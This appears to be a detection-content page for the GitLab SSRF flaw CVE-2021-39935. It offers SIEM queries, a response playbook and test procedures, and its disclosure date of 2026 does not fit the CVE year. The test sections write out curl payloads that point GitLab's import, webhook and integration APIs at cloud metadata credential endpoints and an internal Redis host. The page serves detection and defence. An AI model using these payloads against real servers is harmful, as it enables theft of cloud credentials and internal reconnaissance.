CVE-2021-39935

GitLab SSRF via Import Feature (CVE-2021-39935)

CVE-2021-39935 is a Server-Side Request Forgery (SSRF) vulnerability in GitLab Community and Enterprise Editions. An attacker can abuse GitLab's project import or integration features to cause the server to issue arbitrary HTTP requests to internal network resources, enabling reconnaissance, metadata service access, and potential lateral movement within cloud-hosted or on-premises GitLab deployments. This vulnerability is listed in the CISA Known Exploited Vulnerabilities catalog.

Vulnerability Intelligence

KEV — Known Exploited

Affected Software

Vendor
GitLab
Product
Community and Enterprise Editions

Weakness (CWE)

Timeline

Disclosed
February 3, 2026

CVSS

7.5
High (7.0–8.9)

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Write-up coming soon

What is CVE-2021-39935 GitLab SSRF via Import Feature (CVE-2021-39935)?

GitLab SSRF via Import Feature (CVE-2021-39935) (CVE-2021-39935) maps to the Reconnaissance and Discovery and Lateral Movement tactics — the adversary is trying to gather information they can use to plan future operations in MITRE ATT&CK.

This page provides production-ready detection logic for GitLab SSRF via Import Feature (CVE-2021-39935), covering the data sources and telemetry it touches: CommonSecurityLog, W3CIISLog, AzureDiagnostics. The queries below are rated high severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.

MITRE ATT&CK

Tactic
Reconnaissance Discovery Lateral Movement
Microsoft Sentinel / Defender
kusto
union CommonSecurityLog, W3CIISLog
| where TimeGenerated > ago(7d)
| where (RequestURL has_any ("/api/v4/projects", "/import", "/integrations") or csUriStem has_any ("/api/v4/projects", "/import", "/integrations"))
| where (RequestURL matches regex @"(169\.254\.169\.254|metadata\.google\.internal|100\.100\.100\.200|localhost|127\.|10\.|192\.168\.|172\.(1[6-9]|2[0-9]|3[01])\.)" or csUriQuery matches regex @"(169\.254\.169\.254|metadata\.google\.internal|localhost|127\.|10\.|192\.168\.)")
| project TimeGenerated, DeviceVendor, DeviceProduct, SourceIP, DestinationIP, RequestURL, csUriStem, csUriQuery, RequestMethod, ResponseCode, Activity
| order by TimeGenerated desc

Detects HTTP requests to GitLab import or integration API endpoints referencing internal/cloud metadata IP addresses indicative of SSRF exploitation attempts.

high severity medium confidence

Data Sources

CommonSecurityLog W3CIISLog AzureDiagnostics

Required Tables

CommonSecurityLog W3CIISLog

False Positives

  • Legitimate GitLab integrations that import from internal artifact repositories may trigger this rule
  • Security scanners or vulnerability assessment tools probing GitLab endpoints
  • Misconfigured webhook targets pointing to RFC-1918 addresses for internal CI/CD pipelines

Sigma rule & cross-platform mapping

The detection logic for GitLab SSRF via Import Feature (CVE-2021-39935) (CVE-2021-39935) above is provided in a vendor-neutral form so you can deploy it on any SIEM. The same logic is shipped here as native KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the following logsource:

logsource:
  product: azure

Browse the community-maintained Sigma rules for this technique:


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1SSRF via GitLab Project Import URL — Cloud Metadata

    Expected signal: Outbound network connection from GitLab server process to 169.254.169.254:80; HTTP GET request logged in GitLab production.log with import_url parameter containing metadata IP

  2. Test 2SSRF via GitLab Webhook Integration — Internal Host

    Expected signal: Network connection attempt from GitLab process to 192.168.1.1:6379; webhook creation logged in GitLab audit log with attacker-supplied internal URL

  3. Test 3SSRF via GitLab External Issue Tracker Integration — GCP Metadata

    Expected signal: DNS lookup for metadata.google.internal followed by HTTP GET from GitLab server; integration update recorded in GitLab application log


Response Playbook

Triage

  1. Identify the source IP and user account associated with the suspicious GitLab API request and determine whether the account is legitimate or potentially compromised.
  2. Review GitLab application logs (/var/log/gitlab/gitlab-rails/production.log) for requests to /api/v4/projects, /import, or /integrations endpoints containing internal IP addresses or cloud metadata hostnames in parameters.
  3. Check whether the SSRF request successfully received a response by inspecting HTTP response codes and response body sizes — a 200 with non-trivial body size indicates successful metadata exfiltration.
  4. Determine GitLab version and patch level to confirm whether the instance is vulnerable; CVE-2021-39935 affects versions prior to 14.5.2.

Containment

  1. If active exploitation is confirmed, immediately block the source IP at the network perimeter and revoke any API tokens or personal access tokens associated with the requesting account.
  2. Apply egress firewall rules on the GitLab host to deny outbound connections to 169.254.169.254, 100.100.100.200, and all RFC-1918 ranges unless explicitly required by business processes, preventing further SSRF pivot attempts.

Evidence Collection

  1. Collect and preserve GitLab production and API logs from /var/log/gitlab/ including gitlab-rails/production.log, nginx/gitlab_access.log, and sidekiq.log covering the period of suspected activity.
  2. Export cloud provider metadata service access logs (AWS CloudTrail, GCP Audit Logs, Azure Activity Log) to determine whether attacker-controlled SSRF requests successfully retrieved instance metadata, credentials, or IAM token material.

Escalation Criteria

  • ! Escalate immediately if the SSRF response included AWS IMDSv1 credentials, GCP service account tokens, or Azure IMDS identity tokens, as these enable direct cloud account compromise.
  • ! Escalate if lateral movement from the GitLab host is detected following the SSRF event, or if internal services (Vault, internal APIs, Kubernetes API servers) received unauthorized requests originating from the GitLab server.

Investigation Guide

Forensic Artifacts

  • > /var/log/gitlab/gitlab-rails/production.log — contains full request parameters including SSRF payload URLs
  • > /var/log/gitlab/nginx/gitlab_access.log — records source IPs and request paths for all HTTP traffic
  • > GitLab database (PostgreSQL) — project import records and webhook configurations may retain attacker-supplied URLs

Tuning Guidance

Start by allowlisting known CI/CD runner IP ranges and internal integration service accounts that legitimately use the GitLab import API. Tune severity downward for requests that do not contain actual RFC-1918 or metadata IP addresses in query parameters. In air-gapped environments where all GitLab traffic is internal, adjust the SSRF indicator regex to exclude the specific RFC-1918 subnets used by legitimate integrations, and focus detection on cloud metadata service IPs only (169.254.169.254, 100.100.100.200). Consider raising confidence to high if your GitLab instance has no legitimate internal import sources.


Hunting Queries

Threat hunt for high-volume or parameter-diverse requests to GitLab API and import endpoints that may indicate automated SSRF scanning or exploitation tooling.

Hunting — KQL
kql
CommonSecurityLog
| where TimeGenerated > ago(30d)
| where DeviceVendor has_any ("nginx", "gitlab", "apache")
| where RequestURL has_any ("/api/v4", "/import", "/integrations", "/hooks")
| where isnotempty(RequestClientApplication)
| summarize count() by SourceIP, RequestClientApplication, bin(TimeGenerated, 1h)
| where count_ > 20
| sort by count_ desc
Hunting — SPL
spl
index=web sourcetype IN ("nginx:access", "access_combined")
| where (uri_path="*/api/v4/*" OR uri_path="*/import*" OR uri_path="*/hooks*")
| stats count dc(uri_query) as unique_params by src_ip, useragent
| where count > 20 OR unique_params > 10
| sort -count

Atomic Red Team Tests

Test 1 SSRF via GitLab Project Import URL — Cloud Metadata
linux

Simulates CVE-2021-39935 exploitation by submitting a project import request with the AWS IMDSv1 metadata URL as the import source, causing GitLab to issue a server-side HTTP request to the metadata endpoint.

Command

bash
curl -s -X POST 'https://<GITLAB_HOST>/api/v4/projects' \
  -H 'PRIVATE-TOKEN: <TEST_TOKEN>' \
  -H 'Content-Type: application/json' \
  -d '{"name": "ssrf-test", "import_url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'

Cleanup

bash
curl -s -X DELETE 'https://<GITLAB_HOST>/api/v4/projects/<PROJECT_ID>' -H 'PRIVATE-TOKEN: <TEST_TOKEN>'

Expected Telemetry

Outbound network connection from GitLab server process to 169.254.169.254:80; HTTP GET request logged in GitLab production.log with import_url parameter containing metadata IP

Expected Detection

kql and spl queries trigger on the import endpoint request containing 169.254.169.254 in the request parameter

Test 2 SSRF via GitLab Webhook Integration — Internal Host
linux

Exploits the SSRF vector through GitLab project webhook configuration, directing the server to issue a POST request to an internal host to enumerate accessible internal services.

Command

bash
curl -s -X POST 'https://<GITLAB_HOST>/api/v4/projects/<PROJECT_ID>/hooks' \
  -H 'PRIVATE-TOKEN: <TEST_TOKEN>' \
  -H 'Content-Type: application/json' \
  -d '{"url": "http://192.168.1.1:6379", "push_events": true}'

Cleanup

bash
curl -s -X DELETE 'https://<GITLAB_HOST>/api/v4/projects/<PROJECT_ID>/hooks/<HOOK_ID>' -H 'PRIVATE-TOKEN: <TEST_TOKEN>'

Expected Telemetry

Network connection attempt from GitLab process to 192.168.1.1:6379; webhook creation logged in GitLab audit log with attacker-supplied internal URL

Expected Detection

chronicle_yaral and crowdstrike_cql rules fire on GitLab process network connection to RFC-1918 address

Test 3 SSRF via GitLab External Issue Tracker Integration — GCP Metadata
linux

Abuses the external issue tracker integration feature to cause GitLab to fetch the GCP instance metadata endpoint, simulating exploitation in a GCP-hosted environment.

Command

bash
curl -s -X PUT 'https://<GITLAB_HOST>/api/v4/projects/<PROJECT_ID>/integrations/external-wiki' \
  -H 'PRIVATE-TOKEN: <TEST_TOKEN>' \
  -H 'Content-Type: application/json' \
  -d '{"external_wiki_url": "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"}'

Cleanup

bash
curl -s -X DELETE 'https://<GITLAB_HOST>/api/v4/projects/<PROJECT_ID>/integrations/external-wiki' -H 'PRIVATE-TOKEN: <TEST_TOKEN>'

Expected Telemetry

DNS lookup for metadata.google.internal followed by HTTP GET from GitLab server; integration update recorded in GitLab application log

Expected Detection

elastic_eql sequence rule matches on GitLab integration endpoint access followed by outbound connection to metadata.google.internal

Related Detections